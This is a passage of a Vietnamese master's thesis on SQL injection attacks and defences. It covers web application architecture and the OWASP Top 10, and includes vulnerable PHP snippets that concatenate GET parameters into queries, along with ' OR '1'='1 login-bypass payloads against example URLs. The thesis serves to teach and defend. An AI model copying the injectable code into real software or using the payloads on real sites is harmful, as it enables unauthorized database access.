SQL Injection Tấn Công Và Cách Phòng Tránh - 123doc

A1 – Injection: Tiêm nhiễm mã độc A2 – Broken Authentication and Session Management: Sai lầm trong kiểm tra định danh và phiên làm việc A3 – Cross-Site scriptingXSS: Thực thi mã Script x

i

MỤC LỤC

LỜI CẢM ƠN ii

LỜI CAM ĐOAN iii

DANH MỤC HÌNH VẼ iv

CHƯƠNG 1 1

TỔNG QUAN VỀ ỨNG DỤNG WEB VÀ SQL INJECTION 1

1.1 Tổng quan về ứng dụng web 1

1.2 Tổng quan về SQL Injection 6

CHƯƠNG 2 23

KIỂM TRA CÁC LỖ HỔNG SQL INJECTION 23

2.1 Giới thiệu 23

2.2 Tìm kiếm lỗ hổng SQL injection 23

2.3 Kiểm tra toàn diện 37

2.4 Kiểm tra thủ tục 38

2.5 Đánh giá kết quả 39

2.6 Công cụ kiểm tra lỗ hổng website 39

CHƯƠNG 3 42

MỘT SỐ KỸ THUẬT TẤN CÔNG SQL INJECTION 42

3.1 Vượt qua kiểm tra lúc đăng nhập 42

3.2 Câu lệnh SELECT 43

3.3 Câu lệnh INSERT 48

3.4 Stored Procedures 49

3.5 Blind SQL Injection 50

3.6 Demo tấn công Sql injection 51

CHƯƠNG 4 57

MỘT SỐ GIẢI PHÁP PHÒNG CHỐNG SQL INJECTION 57

4.1 Giải pháp phòng chống SQL injection (như đã demo tại chương 3 mục 3.6)57 4.2 Phòng chống từ mức xây dựng mã nguồn ứng dụng 62

4.3 Các biện pháp bảo vệ từ mức nền tảng hệ thống 67

4.4 Đề xuất giải pháp công nghệ 72

Mặc dù đã có nhiều cố gắng để thực hiện luận văn một cách hoàn chỉnh nhất Song

do kiến thức và kinh nghiệm của tôi còn hạn chế nên không thể tránh khỏi những thiếu sót nhất định mà bản thân chƣa thấy đƣợc Tôi rất mong nhận đƣợc sự đóng góp của quý thầy, cô giáo và và các bạn đồng nghiệp để luận văn đƣợc hoàn chỉnh hơn

Tôi xin chân thành cảm ơn!

Hà Nội, ngày 20 tháng 11 năm 2016

Học viên

Vũ Ngọc Tuấn

iii

LỜI CAM ĐOAN

Tôi xin cam đoan số liệu và kết quả nghiên cứu trong luận văn này là trung thực và chƣa hề đƣợc sử dụng để bảo vệ một học vị nào Mọi sự giúp đỡ cho việc thực hiện luận văn này đã đƣợc cảm ơn và các thông tin trích dẫn trong luận văn đã đƣợc chỉ rõ nguồn gốc rõ ràng và đƣợc phép công bố

Hà Nội, ngày 20 tháng 11 năm 2016

Học viên

Vũ Ngọc Tuấn

iv

DANH MỤC HÌNH VẼ

Hình 0.1 Thống kê các lỗ hổng nghiêm trọng tấn công trên Website vi

Hình 0.2 Danh mục Top 10 lỗ hổng ứng dụng theo xếp hạng OWASP 2013 vi

Hình 1.1 Kiến trúc 3 tầng 3

Hình 1.2 Kiến trúc 4 tầng 5

Hình 2.2 Luồng thông tin trong kiến trúc 3 tầng 27

Hình 2.3 Thông tin về luồng công việc trong một lỗi SQL injection 28

Hình 3.1 Truy cập thành công vào trang Member.aspx………52

Hình 3.2 Trang tìm kiếm thông tin thành viên Member.aspx ……… 52

Hình 3.3 Sử dụng các câu lệnh sql để khai thác thông tin trong bảng Member… 53

Hình 3.4 Giao diện công cụ Havij……….55

Hình 4.1 Sử dụng công cụ Havij tấn công với tỉ lệ thành công là 100% 61

Hình 4.2 Tấn công sau khi áp dụng 4.1.2……… 62

Hình 4.3 Mô hình của một hệ thống Tường lửa ứng dụng Web (WAF)……… 57

v

MỞ ĐẦU

Ở nước ta hiện nay, nền công nghệ thông tin đang phát triển và được ứng dụng rộng rãi trong hầu hết các lĩnh vực của đời sống xã hội Một vấn đề đặt ra là làm thế nào để đáp ứng được nhu cầu trao đổi thông tin, quảng bá thông tin trực tuyến từ nhu cầu thực tiễn đó đã dẫn đến sự ra đời của các ứng dụng Web

Ngày nay, ứng dụng Web đã trở thành phương tiện liên lạc hữu ích cho hàng triệu tổ chức, cá nhân, doanh nghiệp, đối tác, khách hàng và dần thay thế các giao dịch thủ công truyền thống Chẳng hạn như, ngày nay chúng ta đã có thể ngồi nhà

mà vẫn có thể thực hiện các dịch vụ như kiểm tra tài khoản ngân hàng, đặt vé tầu,

vé máy bay, mua sắm trực tuyến…Chính vì vậy Web chính là yếu tố cơ bản giúp các doanh nghiệp, tổ chức, cá nhân tăng cường hình ảnh trực tuyến của mình trên thế giới Internet, tạo ra và duy trì nhiều mối quan hệ đem lại lợi nhuận lâu dài với khách hàng tiềm năng và khách hàng hiện tại và nó cũng là con đường ngắn nhất để tiếp cận được với đối tác, khách hàng không chỉ trong nước mà còn trên toàn thế giới Nhưng song song với sự hữu ích đó, các ứng dụng Web cũng đã tạo ra những thách thức lớn đối với nhà phát triển, nhà quản trị Web đó chính là vấn đề làm thế nào để đảm bảo được an toàn thông tin khi sử dụng các ứng dụng Web Bởi vì hầu hết các ứng dụng này đều chứa những lỗ hổng bảo mật tiềm ẩn mà kẻ tấn công có thể khai thác và thực hiện các hành vi gây nguy hại đến các ứng dụng Web

LÝ DO THỰC HIỆN ĐỀ TÀI

Cùng với sự phát triển mạnh mẽ ứng dụng công nghệ thông tin, các cuộc tấn công, xâm nhập trái phép vào hệ thống mạng vào hệ thống mạng của các cơ quan nhà nước, các tổ chức, doanh nghiệp và cá nhân để phá hoại hoặc thu thập lấy cắp thông tin ngày càng gia tăng Theo Trung tâm ứng cứu khẩn cấp máy tính Việt Nam (VNCERT), từ tháng 12-2014 đến tháng 12-2015, đã có 31.585 sự cố an ninh thông tin tại Việt Nam, gồm 5.898 sự cố lừa đảo, 8.850 sự cố tấn công thay đổi giao diện

và 16.837 sự cố cài mã độc Mới đây nhất ngày 29/7/2016, Hacker đã tấn công vào

hệ thống công nghệ thông tin của Vietnam Airlines tại sân bay quốc tế Nội Bài và Tân Sơn Nhất, chiếm quyền kiểm soát trang mạng chính thức của Vietnam Airlines

Hình 0.1 - Thống kê các lỗ hổng nghiêm trọng tấn công trên Website [11]

vii

Hình 0.2 – Danh mục Top 10 lỗ hổng ứng dụng theo xếp hạng OWASP 2013 [10]

A1 – Injection: Tiêm nhiễm mã độc

A2 – Broken Authentication and Session Management: Sai lầm trong kiểm tra định danh và phiên làm việc

A3 – Cross-Site scripting(XSS): Thực thi mã Script xấu

A4 – Insecure Direct Object Reference: Đối tượng tham chiếu thiếu an toàn A5 – Security Misconfiguration : Sai sót cấu hình an ninh

A6 – Sensitive Data Exposure: Lộ dữ liệu nhạy cảm

A7 – Missing Function Level Access Control : Mất kiểm soát mức độ truy cập chức năng

A8 – Cross Site Request Forgery (CSRF): Giả mạo yêu cầu

A9 – Using Known Vulnerable Components: Tấn công sử dụng các thành phần với các lỗ hổng đã biết

A10 –Unvalidated Redirects and Forwards: Chuyển hướng và chuyển tiếp không an toàn

Như vậy vấn đề bảo mật Web đang là mối quan tâm hàng đầu không những của các doanh nghiệp mà còn là mối quan tâm của hầu hết các quốc gia trên thế giới

vì các kỹ thuật tấn công vào ứng dụng Web ngày càng trở nên tinh vi, phức tạp Nó không những ảnh hưởng đến nền kinh tế quốc gia mà còn ảnh hưởng đến tình hình

an ninh chính trị giữa các nước trong khu vực và trên chiến trường quốc tế Trong biểu đồ thống kê trên ta thấy SQL Injection cũng được coi là một lỗ hổng phổ biến

và nghiêm trọng trong an ninh ứng dụng Web và đây cũng vẫn đang là vấn đề nhận được rất nhiều quan tâm của các nhà nghiên cứu, các nhà phát triển ứng dụng Web, các tổ chức doanh nghiệp, cơ quan hành chính

Bên cạnh những khó khăn do cơ sở hạ tầng mạng còn yếu kém, sự phát triển không ngừng của các công cụ và phương pháp tấn công khiến cho việc phòng, chống các hình thức tấn công ứng dụng Web trở thành một vấn đề rất nan giải Một thực tại hiện này là hầu hết các lập trình viên vẫn chưa nhận thức được vấn đề lập trình ứng dụng Web an toàn, ngoài ra rất nhiều giải pháp đã được công bố và áp

viii

dụng nhưng vẫn chưa đủ tốt Đây cũng chính là lý do mà tác giả chọn đề tài “SQL

Injection – tấn công và cách phòng tránh” để nghiên cứu

MỤC ĐÍCH CỦA ĐỀ TÀI

Luận văn này nhằm mục đích phân loại các kỹ thuật mà kẻ tấn công thường

sử dụng để tấn công SQL Injection lên các ứng dụng Web, từ đó nhà phát triển ứng dụng có thể dự đoán trước các nguy cơ tấn công để kịp thời đưa ra các biện pháp ngăn chặn những hành động gây mất an toàn thông tin từ bên trong cũng như bên ngoài ứng dụng Web đối với từng loại SQL Injection…Đồng thời luận văn cũng đưa ra các phương pháp mà nhà phát triển ứng dụng thường sử dụng để phát hiện các loại lỗ hổng SQL Injection, đưa ra những cảnh báo và giúp cho những người mới lập trình có cái nhìn tổng quan và nhận thức được tầm quan trọng của việc đảm bảo an toàn thông tin cho ứng dụng Web trong xây dựng, phát triển và vận hành ứng dụng Web Trên cơ sở đó luận văn cũng nghiên cứu và đề xuất các công cụ cho việc phát hiện và cảnh báo lỗ hổng SQL Injection

CẤU TRÚC LUẬN VĂN

Nội dung chính của luận văn gồm có 4 chương sau:

CHƯƠNG I: TỔNG QUAN VỀ ỨNG DỤNG WEB VÀ SQL INJECTION

CHƯƠNG II: KIỂM TRA CÁC LỖ HỔNG SQL INJECTION

CHƯƠNG III: CÁC KỸ THUẬT TẤN CÔNG SQL INJECTION

CHƯƠNG IV: MỘT SỐ GIẢI PHÁP PHÒNG CHỐNG SQL INJECTION

1

CHƯƠNG 1 TỔNG QUAN VỀ ỨNG DỤNG WEB VÀ SQL INJECTION

1.1 Tổng quan về ứng dụng web

Ngày nay ứng dụng Web đã trở thành thứ không thể thiếu, nó hiện hữu trong tất cả mọi thứ của cuộc sống hằng ngày như một phần không thể thiếu, từ công việc, mua sắm, giải trí, tin tức… Một điều mà các ứng dụng web có điểm chung là bất kể ngôn ngữ mà nó được viết thì người dùng tương tác là theo hướng cơ sở dữ liệu và hầu hết các ứng dụng web phổ biến hiện nay đều thiết kế và tương tác theo hướng

cơ sở dữ liệu

Và để một website hoạt động và tương tác với người sử dụng website đó thì đằng sau đó là một cơ sở dữ liệu nơi đáp ứng và cung cấp các thông tin cụ thể và cần thiết từ phía yêu cầu của người dùng, và yêu cầu này được thực thi từ phía máy chủ phụ thuộc vào sự tương tác và yêu cầu khác nhau của người sử dụng Một trong những ứng dụng phổ biến nhất đối với một ứng dụng web hướng cơ sở dữ liệu là một ứng dụng về thương mại điện tử, nơi mà hàng loạt các thông tin được lưu trữ trong một cơ sở dữ liệu, chẳng hạn như thông tin về sản phẩm, chứng khoán, giá cả, giao dịch… Có lẽ hầu hết chúng ta đều đã quen thuộc với những ứng dụng này khi mua hàng hóa và các sản phẩm trực tuyến từ các công ty bán lẻ trực tuyến trên internet

Một ứng dụng web hướng cơ sở dữ liệu thông thường có ba tầng: Tầng trình diễn (trình duyệt web hay các chương trình máy tính), tầng logic (một ngôn ngữ lập trình như C#, PHP, JSP, ASP.NET …) và tầng dữ liệu (một cơ sở dữ liệu như SQL Server, MySQL, Oracle, …) Các trình duyệt web (trong tầng trình diễn, chẳng hạn như Internet Explorer, Safari, Firefox, Chrome, …) gửi yêu cầu đến tầng giữa (tầng logic) mà các dịch vụ yêu cầu bằng cách truy vấn và những cập nhật ngược lại cơ sở

dữ liệu

http://www.victim.com/products.php?val=100 Các kịch bản PHP sau đây minh họa cách mà người dùng truyền biến đầu vào (val) thông qua một câu lệnh SQL được tạo ra linh hoạt Phần tiếp theo của mã PHP sẽ được thực thi khi đường link được yêu cầu

// Kết nối cơ sở dữ liệu

$conn = mysql_connect("localhost","username","password");

// dynamically build the sql statement with the input

$query = "SELECT * FROM Products WHERE Price < '$_GET["val"]'"

// Hiển thị kết quả trên trình duyệt

echo "Description : {$row['ProductDescription']} <br>"

"Product ID : {$row['ProductID']} <br>"

"Price : {$row['Price']} <br><br>";

}

Nguồn: SQL Injection Attack and Defense, Justin Clarke [1]

Các đoạn mã sau sẽ minh họa rõ ràng hơn câu lệnh SQL mà kịch bản PHP tạo ra và thực thi Câu lệnh sẽ trả lại tất cả các sản phẩm có trong cơ sở dữ liệu mà

có giá thấp hơn 100 USD Những sản phẩm này sau đó sẽ được hiển thị và trình bày trên trình duyệt web để khách hàng có thể lựa chọn và quyết định mua sắm dựa vào

3

Một kiến trúc ứng dụng đơn giản

Như đã trình bày phía trên thì một ứng dụng web thông thường kiến trúc có

ba tầng: Tầng trình diễn, logic và dữ liệu

Hình 1.1 - Kiến trúc 3 tầng [1]

Tầng trình diễn: Là cấp trên cùng của ứng dụng, là lớp tiếp xúc trực tiếp với người sử dụng ứng dụng, nó hiển thị thông tin dữ liệu liên quan đến các dịch vụ mà ứng dụng cung cấp ví dụ như hàng hóa đã duyệt, hàng hóa đã mua và thông tin giỏ hàng, và nó truyền thông với các tầng khác bằng việc xuất ra các kết quả cho trình duyệt khách hàng và tất cả các tầng khác trong mạng

Tầng logic: Là tầng trung gian giữa tầng trình diễn và tầng dữ liệu và có nhiệm vụ là điều khiển các chức năng của một ứng dụng bằng cách thực hiện xử lý chi tiết

Tầng dữ liệu: Là tầng chứa các máy chủ cơ sở dữ liệu ở đây, thông tin được lưu trữ và lấy ra Tầng này giữ cho dữ liệu độc lập với các máy chủ ứng dụng hoặc tầng logic Làm cho dữ liệu của chính tầng này được cải thiện khả năng mở rộng và tăng hiệu suất Trong hình 1.1, trình duyệt web gửi các yêu cầu đến tầng logic, nơi

4

các dịch vụ của chúng sẽ được truy vấn và cập nhật ngược trở lại cơ sở dữ liệu Một nguyên tắc cơ bản trong kiến trúc ba tầng là tầng trình diễn không bao giờ liên lạc trực tiếp với tầng dữ liệu, trong mô hình này tất cả các giao tiếp phải đi qua tầng trung gian (logic)

Trong hình 1.1 thì người dùng sử dụng trình duyệt web để kết nối với trang http://www.victim.com Các máy chủ web nằm trong tầng logic tải những kịch bản

từ hệ thống tệp tin và chuyển qua engine để phân tích cú pháp và thực thi Kịch bản

sẽ mở ra một kết nối tới tầng dữ liệu bằng cách sử dụng một kết nối cơ sở dữ liệu và thực thi một câu lệnh SQL ngược trở lại cơ sở dữ liệu Cơ sở dữ liệu trả về dữ liệu cho các kết nối cơ sở dữ liệu, thông qua các engine trong tầng logic Sau đó tầng logic thực hiện ứng dụng bất kỳ hoặc các quy tắc logic trước khi trả lại một trang web ở dạng HTML trên trình duyệt web của người dùng ở tầng trình diễn Trình duyệt web của người dùng sẽ trả lại trang HTML và hiện thị cho người dùng dưới dạng một giao diện đồ họa của mã này Tất cả điều này xảy ra trong vài giây và nó trong suốt đối với người dùng

Một kiến trúc phức tạp hơn

Các giải pháp ba tầng không thể mở rộng, vì vậy trong những năm gần đây,

mô hình kiến trúc ba tầng đã được đánh giá lại và một khái niệm mới được xây dựng trên khả năng có thể mở rộng và bảo trì đã được tạo ra, đó là mô hình phát triển ứng dụng n tầng Trong giải pháp mô hình 4 tầng được đưa ra có liên quan đến việc sử dụng một phần trung gian, thường được gọi là một máy chủ ứng dụng giữa các máy chủ web và máy chủ cơ sở dữ liệu Một máy chủ ứng dụng trong một kiến trúc n tầng là một máy chủ lưu trữ một giao diện lập trình ứng dụng (API - viết tắt của Application Programming Interface) để xuất ra các logic nghiệp vụ và các xử lý nghiệp vụ để sử dụng những ứng dụng Các máy chủ web bổ sung có thể được đưa

ra như là một yêu cầu cần thiết Ngoài ra, các máy chủ ứng dụng có thể truyền thông được với nhiều nguồn dữ liệu, bao gồm cả cơ sở dữ liệu, các máy tính lớn, hoặc các hệ thống kế thừa khác

5

Hình 1.2 - Kiến trúc 4 tầng [1]

Trong hình 1.2, trình duyệt web (tầng trình diễn) gửi yêu cầu đến tầng logic,

nó sẽ gọi các API tiếp xúc của với các máy chủ ứng dụng nằm trong tầng ứng dụng, các dịch vụ của chúng làm cho các truy vấn và các cập nhật ngược trở lại cơ sở dữ liệu Trong hình 1.2, người dùng sử dụng trình duyệt web của mình để kết nối đến http://www.victim.com Các máy chủ web nằm trong tầng logic thì tải các kịch bản

từ hệ thống tập tin và chuyển qua engine xử lý các kịch bản của nó để phân tích cú pháp và thực thi Kịch bản của một cuộc gọi tiếp xúc API từ máy chủ ứng dụng nằm trong tầng ứng dụng Các máy chủ ứng dụng mở một kết nối đến tầng dữ liệu bằng cách sử dụng một kết nối cơ sở dữ liệu và thực thi một câu lệnh SQL ngược trở lại

cơ sở dữ liệu Cơ sở dữ liệu sẽ trả về dữ liệu cho các kết nối cơ sở dữ liệu và máy chủ ứng dụng sau đó thực hiện bất kỳ một ứng dụng hay các quy tắc logic nghiệp vụ trước khi trả dữ liệu về cho máy chủ web Sau đó các máy chủ web sẽ thực hiện bất

kỳ một quy tắc logic cuối cùng nào đó trước khi trình diễn dữ liệu dưới dạng HTML đến trình duyệt web của người dùng trong tầng trình diễn Các trình duyệt web của người dùng sẽ trả lại trang HTML và hiển thị cho các người dùng dưới dạng một giao diện đồ họa Tất cả các quá trình này chỉ diễn ra trong vài giây và được làm trong suốt với người dùng

Các khái niệm cơ bản của một kiến trúc phân tầng liên quan đến việc phá vỡ một ứng dụng thành các khối logic, hoặc các lớp, mỗi lớp trong số đó được phân

số cách

1.2 Tổng quan về SQL Injection

Ngày nay, các ứng dụng web đang ngày càng trở lên tinh vi và kỹ thuật càng phức tạp Chúng rất linh hoạt từ internet đến các cổng thông tin nội bộ, chẳng hạn như các trang web thương mại điện tử… để HTTP giải phóng các ứng dụng doanh nghiệp như các hệ thống quản lý tài liệu và những ứng dụng ERP Tính sẵn có của các hệ thống này và sự nhạy cảm của dữ liệu mà họ đang lưu trữ và xử lý đang trở nên quan trọng đối với hầu hết các doanh nghiệp lớn, không chỉ những ứng dụng bán hàng trực tuyến Các ứng dụng web và sự hỗ trợ hạ tầng của chúng và môi trường sử dụng công nghệ đa dạng và có thể chứa một lượng lớn các sửa đổi và các

mã tùy chỉnh Bản chất của các thiết kế rất giàu tính năng và khả năng của chúng để đối chiếu, xử lý và phổ biến thông tin trên internet hoặc bên trong của một mạng nội

bộ làm cho chúng trở thành cái đích phổ biến của các cuộc tấn công Ngoài ra, kể từ khi thì trường công nghệ bảo mật mạng đã trưởng thành và có ít cơ hội để xâm phạm vào hệ thống thông tin qua lỗ hổng mạng đó, những tin tặc thì ngày càng gia tăng sự tập trung vào cái đích đó để cố gắng khai thác các ứng dụng

7

Khi triển khai các ứng dụng web trên Internet, nhiều người vẫn nghĩ rằng việc đảm bảo an toàn, bảo mật nhằm giảm thiểu tối đa khả năng bị tấn công từ các tin tặc chỉ đơn thuần tập trung vào các vấn đề như chọn hệ điều hành, hệ quản trị cơ

sở dữ liệu, webserver sẽ chạy ứng dụng, mà quên mất rằng ngay cả bản thân ứng dụng chạy trên đó cũng tiềm ẩn một lỗ hổng bảo mật rất lớn Một trong số các lỗ hổng này đó là SQL injection Tại Việt Nam, đã qua thời kì các quản trị website lơ

là việc quét virus, cập nhật các bản vá lỗi từ các phần mềm hệ thống, nhưng việc chăm sóc các lỗi của các ứng dụng lại rất ít được quan tâm Đó là lí do tại sao trong thời gian vừa qua, không ít website tại Việt Nam bị tấn công và đa số đều là lỗi SQL injection Vậy SQL injection là gì?

SQL injection là một kĩ thuật cho phép những kẻ tấn công lợi dụng lỗ hổng trong việc kiểm tra dữ liệu nhập trong các ứng dụng web và các thông báo lỗi của

hệ quản trị cơ sở dữ liệu để "chèn vào" (inject) và thi hành các câu lệnh SQL bất hợp pháp (không được người phát triển ứng dụng lường trước) Hậu quả của nó rất tai hại vì nó cho phép những kẻ tấn công có thể thực hiện các thao tác xóa, hiệu chỉnh, … do có toàn quyền trên cơ sở dữ liệu của ứng dụng, thậm chí là server mà ứng dụng đó đang chạy Lỗi này thường xảy ra trên các ứng dụng web có dữ liệu được quản lí bằng các hệ quản trị cơ sở dữ liệu như SQL Server, MySQL, Oracle, DB2, Sysbase

Để mình họa điều này, chúng ta hãy trở lại ví dụ trước của một cửa hàng bán

lẻ trực tuyến đơn giản để xem tất cả các sản phẩm trong các cửa hàng mà giá thấp hơn 100 USD, bằng cách sử dụng đường link:

http://www.victim.com/products.php?val=100 Tuy nhiên lúc này ta thử chèn vào 1 câu lệnh SQL bằng cách nối thêm chúng

vào sau tham số đầu vào val bằng cách thêm chuỗi „ OR „1‟=‟1 vào đường link:

http://www.victim.com/products.php?val=100‟ OR „1‟=‟1

Lúc này, các câu lệnh SQL mà kịch bản PHP tạo ra và thực thi sẽ trả lại tất

cả các sản phẩm có trong cơ sở dữ liệu bất kể giá của nó là bao nhiêu bởi vì tính

8

hợp lý của truy vấn đã bị thay đổi Điều này xảy ra vì câu lệnh thêm vào luôn trả về

kết quả trong toán hạng OR của truy vấn luôn trả về giá trị true, đó là 1 luôn bằng 1

Đây là câu truy vấn luôn đúng được tạo ra và thực thi

SELECT * FROM ProductsTbl WHERE Price < '100.00' OR '1'='1' ORDER BY ProductDescription;

Có nhiều cách để khai thác các lỗ hổng SQL injection để đạt được rất nhiều mục tiêu, sự thành công của một cuộc tấn công thường phụ thuộc nhiều vào cơ sở

dữ liệu cơ bản và hệ thống kết nối với nhau đang bị tấn công Đôi khi nó có thể cần nhiều kỹ năng và sự kiên nhẫn để khai thác một lỗ hổng bằng khả năng của mình

Các ví dụ đơn giản thể hiện cách mà một kẻ tấn công có thể thao tác một câu lệnh SQL được tạo ra một cách linh hoạt mà được hình thành từ đầu vào không hợp

lệ hoặc chưa được mã hóa để thực hiện một hành động mà người phát triển của một ứng dụng đó đã không lường trước hoặc không dự định trước Tuy nhiên có lẽ không cần minh họa cho tính hiệu quả của một lỗ hổng dễ bị tổn thương mà chúng

ta chỉ sử dụng các vector để xem tất cả các sản phẩm trong cơ sở dữ liệu, và chúng

ta có thể hợp pháp hóa làm điều đó bằng cách sử dụng các chức năng của ứng dụng như nó đã được dự định sử dụng tại thời điểm đầu tiên Nếu cùng một ứng dụng có thể được điều khiển từ xa sử dụng một hệ quản trị nội dung (CMS)? Một hệ quản trị nội dung là một ứng dụng web được dùng để dễ dàng trong việc khởi tạo, chỉnh sửa, quản lý, và xuất bản nội dung lên một trang web, mà không cần phải có một sự hiểu biết sâu sắc hoặc khả năng viết mã HTML Ví dụ ta có thể sử dụng đường link sau đây để truy cập các ứng dụng hệ quản trị nội dung:

http://www.victim.com/cms/login.php?username=foo&password=bar

Các ứng dụng của hệ quản trị nội dung yêu cầu ta phải cung cấp một tên người dùng và mật khẩu hợp lệ trước khi có thể truy cập để sử dụng cách chức năng của nó Truy cập vào đường link trước sẽ cho kết quả sai “Incorrect username or password, please try again” Và sau đây là đoạn mã cho kịch bản login.php:

9

// connect to the database

$conn = mysql_connect("localhost","username","password");

// dynamically build the sql statement with the input

$query = "SELECT userid FROM CMSUsers WHERE user = '$_GET["user"]' "

"AND password = '$_GET["password"]'";

// execute the query against the database

if ($rowcount != 0){ header("Location: admin.php");}

// if a row is not returned then the credentials must be invalid

else { die('Incorrect username or password, please try again.')}

Code nguồn: SQL Injection Attack and Defense, Justin Clarke [1]

Các kịch bản login.php tự động tạo ra một câu lệnh SQL sẽ trả về một bản ghi nếu một tên người dùng và mật khẩu tương ứng được nhập vào Các câu lệnh SQL

mà kịch bản PHP tạo ra và thực thi sẽ được minh họa rõ ràng hơn trong các đoạn

mã sau đây Các truy vấn sẽ trả lại userid tương ứng cho người sử dụng nếu tên người dùng và mật khẩu tương ứng nhập vào giống với giá trị lưu trữ tương ứng trong bảng CMSUsers

SELECT userid FROM CMSUsers WHERE user = 'foo' AND password = 'bar';

Vấn đề là với đoạn mã này thì các nhà phát triển ứng dụng luôn tin tưởng rằng khi kịch bản được thực thi thì số bản ghi được trả lại sẽ luôn là không hoặc một Trong các ví dụ chèn vào trước, chúng ta sử dụng các vector có thể khai thác được

để thay ý nghĩa của câu truy vấn SQL để nó luôn trả về giá trị true Nếu chúng ta sử

dụng một kỹ thuật tương tự với các ứng dụng hệ quản trị nội dung thì chúng ta có

10

thể làm cho tính hợp lý của ứng dụng bị thay đổi bằng cách thêm chuỗi „OR „1‟=‟1

vào sau đường link, câu lệnh SQL khi đó sẽ được kịch bản PHP tạo ra và thực thi, lúc này ứng dụng sẽ trả về tất cả các userid của tất cả người dùng trong bảng CMSUsers Ví dụ đường link như sau:

http://www.victim.com/cms/login.php?username=foo&password=bar‟

OR „1‟=‟1

Tất cả các userid được trả về vì chúng ta đã làm thay đổi tính hợp lệ của câu truy vấn Điều này xảy ra vì câu lệnh nối sau đường link luôn trả về kết quả của toán hạng OR là đúng, 1 luôn bằng 1 Dưới đây là các truy vấn đã được tạo ra và thực thi:

SELECT userid FROM CMSUsers

WHERE user = 'foo' AND password = 'password' OR '1'='1';

Tính hợp lý của ứng dụng có nghĩa là nếu cơ sở dữ liệu trả về nhiều hơn bản ghi không, ta phải có thông tin xác nhận đã nhập đúng và nên được chuyển hướng và được truy cập vào cách kịch bản được bảo vệ như admin.php Ta sẽ thường xuyên đăng nhập như là một người dùng đầu tiên trong bản CMSUsers Một lỗ hổng SQL injection đã cho phép hợp thực hóa ứng dụng để được thao tác và phá vỡ

Một số thống kê chi tiết

Thật khó để thu thập dữ liệu chính xác và đúng đắn về vấn đề có bao nhiêu tổ chức tồn tại lỗ hổng bảo mật hay bị xâm phạm thông qua các lỗ hổng SQL injection, như các công ty trong nhiều quốc gia, không giống như các đối tác của họ

ở Mỹ, không bắt buộc phải công bố công khai khi họ đã bị xâm phạm nghiêm trọng

về an ninh Tuy nhiên, những lỗ hổng bảo mật và những cuộc tấn công thành công được thực hiện bởi những kẻ tấn công hiện đang là một chủ đề yêu thích của báo chí trên thế giới Những lỗ hổng nhỏ nhất trong lịch sử đã không được chú ý bởi một cộng đồng mạng rộng lớn và thường có rất nhiều công bố ngày nay

11

Một số công khai nguồn lực sản có thể giúp chúng ta hiểu thế nào là một vấn đề lớn về SQL injection Ví dụ, trang web Common Vulnerabilities and Exposures (CVE) cung cấp một danh sách thông tin các lỗ hổng bảo mật và tiếp xúc nhằm mục đích cung cấp những tên thông thường cho những vấn đề công khai được biết đến Mục tiêu của CVE là làm cho nó dễ dàng hơn để chia sẻ dữ liệu qua những khả năng của lỗ hổng riêng biệt (như các công cụ, các kho chứa và các dịch vụ) Các trang web thu thập thông tin trên các lỗ hổng mà nó được biết một cách công khai

và cung cấp các phân tích thống kê về xu hướng bảo mật Trong báo cáo năm 2007 của mình, CVE đã liệt kê một danh sách 1754 lỗ hổng SQL injection trong cơ sở dữ liệu của hộ và trong số đó có 944 lỗ hổng đã được thêm vào trong năm 2006 SQL injection chiếm 13,6 % của tất cả các lỗ hổng mà CVE báo cáo trong năm 2006, chỉ đứng sau lỗ hổng cross-site-scripting và đứng trước lỗ hổng tràn bộ đệm (buffer overflow)

Ngoài ra, Dự án bảo mật ứng dụng web mở đã liệt kê các lỗi injection (trong đó bao gồm cả SQL injection) như là một lỗ hổng bảo mật thứ hai phổ biến nhất có ảnh hưởng đến các ứng dụng web trong danh sách top 10 của năm 2007 Mục đích chính của dự án này là giáo dục nhận thức cho các nhà phát triển ứng dụng, các nhà thiết

kế, các kiến trúc sư và các tổ chức về hậu quả của các lỗ hổng bảo mật ứng dụng web phổ biến nhất Danh sách top 10 năm 2007 được biên soạn từ những dữ liệu đã được trích xuất từ các dữ liệu của CVE Vấn đề là việc sử dụng những con số của CVE như là một dấu hiệu của nhiều trang web bị lỗi SQL injection mà dữ liệu của

nó không cung cấp cái nhìn sâu sắc về các lỗ hổng trong các trang web được tạo ra theo đơn đặt hàng riêng biệt Những yêu cầu của CVE tiêu biểu cho số lượng các lỗ hổng được phát hiện trong các ứng dụng thương mại các ứng dụng mã nguồn mở; chúng không phản ánh được mức độ nghiêm trọng mà các lỗ hổng đang tồn tại trong thế giới thực Trong thực tế, tình trạng đó xảy ra rất nhiều và ngày càng tồi tệ hơn

Chúng ta có thể tìm đến các nguồn tài nguyên khác để đối chiếu thông tin trên các trang web bị xâm nhập Zone-H, chẳng hạn, đó là một trang web phổ biến các

12

hồ sơ về các trang web bị sửa đổi Trang web này cho thấy một số lượng lớn về thông tin các trang web và các ứng dụng web đã bị đột nhập trong nhiều năm bởi sự hiện diện của các lỗ hổng SQL injection bị khai thác Các trang web thuộc tên miền của Microsoft đã bị sửa đổi hơn 46 lần hoặc hơn nữa như năm 2001

Trong lịch sử, những kẻ tấn công sẽ tìm cách thỏa hiệp với những trang web hay những ứng dụng web để ghi điểm với các nhóm tin tặc khác, để truyền bá quan điểm chính trị và những thông điệp cụ thể của họ, để thể hiện mình hoặc đơn giản chỉ là để trả đũa về một sự xấu hổ hoặc bất công trong nhận thức hành vi Ngày nay, tuy nhiên kẻ tấn công rất có thể sẽ khai thác một ứng dụng web để đạt mục đích về tài chính và tạo ra lợi nhuận Một loạt các nhóm khả năng củ kẻ tấn công trên mạng internet ngày nay là tất cả đều có những động cơ khác nhau Chúng bao gồm từ các

cá nhân từ chỗ tìm kiếm đến thỏa hiệp với hệ thống điều khiển bởi một niềm đam

mê công nghệ và một tinh thần “hacker”, những tổ chức quy tụ những tên tội phạm mạng vẫn đang tìm kiếm những mục tiêu tiềm tàng cho sự phát triển tài chính và các hoạt động chính trị thúc đẩy bởi những sự tin tưởng của cá nhân hoặc các nhóm, cho những nhân viên bất mãn và những người quản trị hệ thống lợi dụng quyền ưu tiên của họ và những cơ hội cho hàng loạt các mục tiêu của họ Một lỗ hổng SQL injection trong một trang web hay trong một ứng dụng web thì đó thường chính là tất cả những thứ mà một kẻ tấn công cần để hoàn thành mục tiêu của hắn ta

